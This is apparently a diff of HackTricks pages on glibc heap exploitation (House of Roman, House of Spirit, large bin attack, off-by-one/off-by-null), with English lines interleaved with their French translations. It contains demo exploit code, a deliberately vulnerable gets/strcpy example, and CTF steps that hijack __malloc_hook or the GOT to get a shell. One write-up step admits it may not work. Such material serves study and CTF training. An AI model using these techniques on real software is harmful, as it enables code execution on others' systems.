- &#x20;`relative_offset_heap` est un offset de distance par rapport à `fake_libc_chunk`, qui contient un pointeur vers `main_arena + 0x68`
- Il suffit de changer le dernier octet de `fastbin_victim.fd` pour que `fastbin_victim points` vers `main_arena + 0x68`
- &#x20;`fastbin_victim` has a `fd` pointing to `relative_offset_heap`
- &#x20;`relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68`
- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68`
Pour les actions précédentes, l'attaquant doit être capable de modifier le pointeur fd de `fastbin_victim`.
For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`.
Ensuite, `main_arena + 0x68` n'est pas si intéressant, alors modifions-le pour que le pointeur pointe vers **`__malloc_hook`**.
Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**.
Notez que `__memalign_hook` commence généralement par `0x7f` et des zéros avant, il est donc possible de le falsifier comme une valeur dans le fast bin `0x70`. Comme les 4 derniers bits de l'adresse sont **aléatoires**, il y a `2^4=16` possibilités pour que la valeur pointe là où nous sommes intéressés. Ainsi, une attaque BF est effectuée ici pour que le chunk se termine comme : **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works).
Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`**
(Pour plus d'infos sur le reste des octets, consultez l'explication dans le [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ exemple](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Si le BF ne fonctionne pas, le programme plante simplement (donc recommencez jusqu'à ce que ça fonctionne).
Ensuite, 2 mallocs sont effectués pour supprimer les 2 chunks fast bin initiaux et un troisième est alloué pour obtenir un chunk dans le **`__malloc_hook:`**
```c
malloc(0x60);
malloc(0x60);
uint8_t* malloc_hook_chunk = malloc(0x60);
```
### Partie 2 : Attaque Unsorted_bin
### Part 2: Unsorted_bin attack
For more info you can check:
Pour plus d'infos, vous pouvez consulter :
{{#ref}}
unsorted-bin-attack.md
{{#endref}}
But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`.
For this we start getting a chunk and putting it into the **unsorted bin**:
Mais fondamentalement, cela permet d'écrire `main_arena + 0x68` à n'importe quel emplacement spécifié dans `chunk->bk`. Et pour l'attaque, nous choisissons `__malloc_hook`. Ensuite, après l'avoir écrasé, nous utiliserons un écrasement relatif pour pointer vers un `one_gadget`.
Pour cela, nous commençons par obtenir un chunk et le mettre dans le **unsorted bin** :
```c
uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate
@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously).
Utilisez un UAF dans ce morceau pour pointer `unsorted_bin_ptr->bk` vers l'adresse de `__malloc_hook` (nous l'avons bruteforcé précédemment).
> [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.**
> Notez que cette attaque corrompt le tas non trié (donc petit et grand aussi). Nous ne pouvons donc **utiliser que des allocations du tas rapide maintenant** (un programme plus complexe pourrait faire d'autres allocations et planter), et pour déclencher cela, nous devons **allouer la même taille sinon le programme plantera.**
So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`**
Donc, pour déclencher l'écriture de `main_arena + 0x68` dans `__malloc_hook`, nous effectuons après avoir défini `__malloc_hook` dans `unsorted_bin_ptr->bk`, nous devons juste faire : **`malloc(0x80)`**
### Step 3: Set \_\_malloc_hook to system
### Étape 3 : Définir \_\_malloc_hook sur system
In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here.
Dans la première étape, nous avons fini par contrôler un morceau contenant `__malloc_hook` (dans la variable `malloc_hook_chunk`) et dans la deuxième étape, nous avons réussi à écrire `main_arena + 0x68` ici.
Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**.
Maintenant, nous abusons d'un écrasement partiel dans `malloc_hook_chunk` pour utiliser l'adresse libc que nous y avons écrite (`main_arena + 0x68`) pour **pointer une adresse `one_gadget`**.
Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
C'est ici qu'il est nécessaire de **bruteforcer 12 bits de random** (plus d'infos dans le [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ exemple](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**.
Enfin, une fois la bonne adresse écrasée, **appelez `malloc` et déclenchez le `one_gadget`**.
## References
## Références
- [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)

View File

@ -1,15 +1,14 @@
# House of Spirit
# Maison de l'Esprit
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
### Code
<details>
<summary>House of Spirit</summary>
<summary>Maison de l'Esprit</summary>
```c
#include <unistd.h>
#include <stdlib.h>
@ -19,99 +18,96 @@
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
};
int main() {
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
ptr = malloc(0x30);
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
free(ptr);
free(ptr);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
return 0;
return 0;
}
```
</details>
### Goal
### Objectif
- Be able to add into the tcache / fast bin an address so later it's possible to allocate it
- Être capable d'ajouter dans le tcache / fast bin une adresse afin qu'il soit possible de l'allouer plus tard.
### Requirements
### Exigences
- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin.
- Cette attaque nécessite qu'un attaquant puisse créer quelques faux fast chunks indiquant correctement la valeur de taille et ensuite être capable de libérer le premier faux chunk pour qu'il entre dans le bin.
### Attack
### Attaque
- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes
- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address
**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good:
- Créer des faux chunks qui contournent les vérifications de sécurité : vous aurez besoin de 2 faux chunks indiquant essentiellement aux bonnes positions les bonnes tailles.
- Parvenir à libérer le premier faux chunk pour qu'il entre dans le fast ou tcache bin et ensuite l'allouer pour écraser cette adresse.
**Le code de** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **est excellent pour comprendre l'attaque.** Bien que ce schéma du code le résume assez bien :
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
```
> [!NOTE]
> Note that it's necessary to create the second chunk in order to bypass some sanity checks.
> Notez qu'il est nécessaire de créer le deuxième morceau afin de contourner certaines vérifications de validité.
## Examples
## Exemples
- **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html)
- **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF
- **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\
Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell.
- **Libc infoleak** : Via un débordement, il est possible de changer un pointeur pour qu'il pointe vers une adresse GOT afin de divulguer une adresse libc via l'action de lecture du CTF.
- **House of Spirit** : En abusant d'un compteur qui compte le nombre de "fusils", il est possible de générer une taille factice du premier morceau factice, puis en abusant d'un "message", il est possible de falsifier la deuxième taille d'un morceau et enfin, en abusant d'un débordement, il est possible de changer un pointeur qui va être libéré afin que notre premier morceau factice soit libéré. Ensuite, nous pouvons l'allouer et à l'intérieur, il y aura l'adresse où le "message" est stocké. Ensuite, il est possible de faire pointer cela vers l'entrée `scanf` dans la table GOT, afin que nous puissions l'écraser avec l'adresse de system.\
La prochaine fois que `scanf` est appelé, nous pouvons envoyer l'entrée `"/bin/sh"` et obtenir un shell.
- [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
- **Glibc leak**: Uninitialized stack buffer.
- **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive.
- **Glibc leak** : Tampon de pile non initialisé.
- **House of Spirit** : Nous pouvons modifier le premier index d'un tableau global de pointeurs de tas. Avec une seule modification de byte, nous utilisons `free` sur un morceau factice à l'intérieur d'un morceau valide, de sorte que nous obtenons une situation de morceaux qui se chevauchent après avoir réalloué. Avec cela, une simple attaque de poisoning Tcache fonctionne pour obtenir une primitive d'écriture arbitraire.
## References
## Références
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit)

View File

@ -4,55 +4,53 @@
## Basic Information
For more information about what is a large bin check this page:
Pour plus d'informations sur ce qu'est un grand bin, consultez cette page :
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
Il est possible de trouver un excellent exemple dans [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met.
Fondamentalement, ici vous pouvez voir comment, dans la dernière version "courante" de glibc (2.35), il n'est pas vérifié : **`P->bk_nextsize`** permettant de modifier une adresse arbitraire avec la valeur d'un chunk de grand bin si certaines conditions sont remplies.
In that example you can find the following conditions:
Dans cet exemple, vous pouvez trouver les conditions suivantes :
- A large chunk is allocated
- A large chunk smaller than the first one but in the same index is allocated
- Must be smalled so in the bin it must go first
- (A chunk to prevent merging with the top chunk is created)
- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin
- Then, the second large chunk is freed
- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]`
- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2
- Un grand chunk est alloué
- Un grand chunk plus petit que le premier mais au même index est alloué
- Doit être plus petit donc dans le bin il doit aller en premier
- (Un chunk pour empêcher la fusion avec le chunk supérieur est créé)
- Ensuite, le premier grand chunk est libéré et un nouveau chunk plus grand est alloué -> Chunk1 va dans le grand bin
- Ensuite, le deuxième grand chunk est libéré
- Maintenant, la vulnérabilité : L'attaquant peut modifier `chunk1->bk_nextsize` à `[target-0x20]`
- Ensuite, un chunk plus grand que chunk 2 est alloué, donc chunk2 est inséré dans le grand bin écrasant l'adresse `chunk1->bk_nextsize->fd_nextsize` avec l'adresse de chunk2
> [!TIP]
> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to.
This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten:
> Il existe d'autres scénarios potentiels, l'idée est d'ajouter au grand bin un chunk qui est **plus petit** qu'un chunk X actuel dans le bin, donc il doit être inséré juste avant dans le bin, et nous devons être capables de modifier **`bk_nextsize`** de X car c'est là que l'adresse du chunk plus petit sera écrite.
Voici le code pertinent de malloc. Des commentaires ont été ajoutés pour mieux comprendre comment l'adresse a été écrasée :
```c
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck; // fwd = p1
bck = bck->bk; // bck = p1->bk
{
fwd = bck; // fwd = p1
bck = bck->bk; // bck = p1->bk
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
```
Cela pourrait être utilisé pour **écraser la variable globale `global_max_fast`** de libc afin d'exploiter une attaque de fast bin avec des chunks plus grands.
This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks.
Vous pouvez trouver une autre excellente explication de cette attaque dans [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
### Other examples
### Autres exemples
- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
- Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
- The write primitive is more complex, because `global_max_fast` is useless here.
- FSOP is needed to finish the exploit.
- Attaque de large bin dans la même situation que celle qui apparaît dans [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
- Le primitive d'écriture est plus complexe, car `global_max_fast` est inutile ici.
- FSOP est nécessaire pour terminer l'exploit.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,115 +1,113 @@
# Off by one overflow
# Débordement hors par un
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks.
Avoir juste accès à un débordement de 1B permet à un attaquant de modifier le champ `size` du prochain chunk. Cela permet de manipuler quels chunks sont réellement libérés, générant potentiellement un chunk qui contient un autre chunk légitime. L'exploitation est similaire à [double free](double-free.md) ou des chunks qui se chevauchent.
There are 2 types of off by one vulnerabilities:
Il existe 2 types de vulnérabilités hors par un :
- Arbitrary byte: This kind allows to overwrite that byte with any value
- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00
- A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk.
- This can be expoited with the [House of Einherjar](house-of-einherjar.md).
- If using Tcache, this can be leveraged to a [double free](double-free.md) situation.
- Octet arbitraire : Ce type permet d'écraser cet octet avec n'importe quelle valeur
- Octet nul (hors par nul) : Ce type permet d'écraser cet octet uniquement avec 0x00
- Un exemple courant de cette vulnérabilité peut être vu dans le code suivant où le comportement de `strlen` et `strcpy` est incohérent, ce qui permet de définir un octet 0x00 au début du prochain chunk.
- Cela peut être exploité avec la [Maison d'Einherjar](house-of-einherjar.md).
- Si Tcache est utilisé, cela peut être exploité dans une situation de [double free](double-free.md).
<details>
<summary>Off-by-null</summary>
<summary>Hors par nul</summary>
```c
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
int main(void)
{
char buffer[40]="";
void *chunk1;
chunk1 = malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
char buffer[40]="";
void *chunk1;
chunk1 = malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
}
```
</details>
Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28.
Parmi d'autres vérifications, maintenant chaque fois qu'un morceau est libéré, la taille précédente est comparée à la taille configurée dans le morceau des métadonnées, rendant cette attaque assez complexe à partir de la version 2.28.
### Code example:
### Exemple de code :
- [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c)
- This attack is no longer working due to the use of Tcaches.
- Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)`
- Cette attaque ne fonctionne plus en raison de l'utilisation de Tcaches.
- De plus, si vous essayez d'en abuser en utilisant des morceaux plus grands (donc les tcaches ne sont pas impliqués), vous obtiendrez l'erreur : `malloc(): invalid next size (unsorted)`
### Goal
### Objectif
- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one
- Faire en sorte qu'un morceau soit contenu dans un autre morceau afin qu'un accès en écriture sur ce deuxième morceau permette d'écraser le contenu.
### Requirements
### Exigences
- Off by one overflow to modify the size metadata information
- Débordement off by one pour modifier les informations de taille des métadonnées.
### General off-by-one attack
### Attaque générale off-by-one
- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk.
- Free `C` (inserted into 0x20 Tcache free-list).
- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41.
- Now we have `B` containing the free chunk `C`
- Free `B` and allocate a 0x40 chunk (it will be placed here again)
- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning)
- Allouer trois morceaux `A`, `B` et `C` (disons de taille 0x20), et un autre pour empêcher la consolidation avec le top-chunk.
- Libérer `C` (inséré dans la liste libre Tcache de 0x20).
- Utiliser le morceau `A` pour déborder sur `B`. Abuser du débordement off-by-one pour modifier le champ `size` de `B` de 0x21 à 0x41.
- Maintenant, nous avons `B` contenant le morceau libre `C`.
- Libérer `B` et allouer un morceau de 0x40 (il sera placé ici à nouveau).
- Nous pouvons modifier le pointeur `fd` de `C`, qui est toujours libre (empoisonnement Tcache).
### Off-by-null attack
### Attaque off-by-null
- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that its 0x10 smaller than it really is).
- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should.
- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c.
- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2.
- 3 morceaux de mémoire (a, b, c) sont réservés l'un après l'autre. Ensuite, le morceau du milieu est libéré. Le premier contient une vulnérabilité de débordement off by one et l'attaquant en abuse avec un 0x00 (si le byte précédent était 0x10, cela ferait indiquer au morceau du milieu qu'il est 0x10 plus petit qu'il ne l'est réellement).
- Ensuite, 2 morceaux plus petits sont alloués dans le morceau libéré du milieu (b), cependant, comme `b + b->size` ne met jamais à jour le morceau c parce que l'adresse pointée est plus petite qu'elle ne devrait l'être.
- Ensuite, b1 et c sont libérés. Comme `c - c->prev_size` pointe toujours vers b (b1 maintenant), les deux sont consolidés en un seul morceau. Cependant, b2 est toujours à l'intérieur entre b1 et c.
- Enfin, un nouveau malloc est effectué pour récupérer cette zone mémoire qui va en fait contenir b2, permettant au propriétaire du nouveau malloc de contrôler le contenu de b2.
This image explains perfectly the attack:
Cette image explique parfaitement l'attaque :
<figure><img src="../../images/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
## Other Examples & References
## Autres exemples et références
- [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks)
- [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
- Off-by-one because of `strlen` considering the next chunk's `size` field.
- Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning.
- Off-by-one à cause de `strlen` considérant le champ `size` du morceau suivant.
- Tcache est utilisé, donc une attaque générale off-by-one fonctionne pour obtenir une primitive d'écriture arbitraire avec empoisonnement Tcache.
- [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks)
- It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field.
- Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write.
- The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc.
- Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget.
- Il est possible d'abuser d'un off by one pour divulguer une adresse du tas parce que le byte 0x00 à la fin d'une chaîne est écrasé par le champ suivant.
- L'écriture arbitraire est obtenue en abusant de l'écriture off by one pour faire pointer le pointeur vers un autre endroit où une structure factice avec de faux pointeurs sera construite. Ensuite, il est possible de suivre le pointeur de cette structure pour obtenir une écriture arbitraire.
- L'adresse libc est divulguée car si le tas est étendu en utilisant mmap, la mémoire allouée par mmap a un décalage fixe par rapport à libc.
- Enfin, l'écriture arbitraire est abusée pour écrire à l'adresse de \_\_free_hook avec un one gadget.
- [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb)
- There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content.
- In the writeup 5 initial chunks are created:
- chunk1 (0x200)
- chunk2 (0x50)
- chunk5 (0x68)
- chunk3 (0x1f8)
- chunk4 (0xf0)
- chunk defense (0x400) to avoid consolidating with top chunk
- Then chunk 1, 5 and 3 are freed, so:
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`.
- Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning:
- ```python
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
```
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Then, `0x200` bytes are allocated filling the original chunk 1
- And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done
- Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook`
- Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk
- Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address
- Il existe une vulnérabilité NULL off by one dans la fonction `getline` qui lit les lignes d'entrée utilisateur. Cette fonction est utilisée pour lire la "clé" du contenu et non le contenu.
- Dans le rapport, 5 morceaux initiaux sont créés :
- chunk1 (0x200)
- chunk2 (0x50)
- chunk5 (0x68)
- chunk3 (0x1f8)
- chunk4 (0xf0)
- chunk defense (0x400) pour éviter la consolidation avec le top chunk
- Ensuite, les morceaux 1, 5 et 3 sont libérés, donc :
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Ensuite, en abusant de chunk3 (0x1f8), le null off-by-one est abusé en écrivant le prev_size à `0x4e0`.
- Notez comment les tailles des morceaux initialement alloués 1, 2, 5 et 3 plus les en-têtes de 4 de ces morceaux équivalent à `0x4e0` : `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- Ensuite, le morceau 4 est libéré, générant un morceau qui consomme tous les morceaux jusqu'au début :
- ```python
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
```
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Ensuite, `0x200` octets sont alloués remplissant le morceau original 1.
